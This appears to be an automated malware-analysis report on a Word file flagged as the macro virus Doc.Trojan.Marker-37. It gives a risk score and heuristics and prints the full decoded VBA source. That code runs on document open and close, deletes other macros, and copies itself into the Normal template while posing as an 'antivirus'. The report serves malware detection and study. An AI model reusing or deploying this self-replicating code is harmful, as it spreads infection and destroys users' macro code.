MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro's code appears to be designed to manipulate or delete other macros, possibly as a form of evasion or to clear the way for further malicious actions. The ClamAV detection as 'Doc.Trojan.Marker-37' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Marker-37 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-37
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3547 bytes |
SHA-256: 13e001b2bd2b82f2f8bc00fc0f22dddadccc8afc86ff89fb54ae9fd745a65e81 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'Created by Giant
'MacroVirus Destroyer V. 1.00
'"<- this is a marker! Jonhehehe@ho####.com"
KillEmAll
End Sub
Private Sub KillEmAll()
Dim ADInfectedByMe As Boolean
Dim i, j As Integer
ADInfectedByMe = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
j = 1
For Each Obj In NormalTemplate.VBProject.VBComponents
i = NormalTemplate.VBProject.VBComponents.Item(j).CodeModule.CountOfLines
If Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in Your Document..."
NormalTemplate.VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, i
End If
j = j + 1
Application.StatusBar = "MacroVirus Destroyer V. 1.00"
Next Obj
j = 1
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name <> "ThisDocument" Then
i = ActiveDocument.VBProject.VBComponents.Item(j).CodeModule.CountOfLines
Application.StatusBar = "Hasta La Vista " + Obj.Name + _
" See yaa..."
ActiveDocument.VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, i
End If
j = j + 1
Next Obj
If Not (ADInfectedByMe) Then
i = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, i
AutoCopyToDoc
End If
End Sub
Private Sub Document_Close()
Dim NInfectedByMe As Boolean
On Error Resume Next
NInfectedByMe = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
If Not (NInfectedByMe) Then
AutoCopyToNormal
End If
KillEmAll
End Sub
Private Sub AutoCopyToNormal()
Dim InfectedByMe As Boolean, Baris, B, i As Integer, s As Object
InfectedByMe = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
If Not (InfectedByMe) Then
Baris = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Set s = ActiveDocument.VBProject.VBComponents.Item(1)
Application.StatusBar = "Copying Antivirus Macro to Normal Template"
B = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, B
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString s.CodeModule.lines(1, Baris)
NormalTemplate.Save
End If
End Sub
Private Sub AutoCopyToDoc()
Dim InfectedByMe As Boolean, Baris, B As Integer, s As Object
InfectedByMe = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
If Not (InfectedByMe) Then
Baris = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Set s = NormalTemplate.VBProject.VBComponents.Item(1)
Application.StatusBar = "Copying Antivirus Macro to Document"
B = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, B
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString s.CodeModule.lines(1, Baris)
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.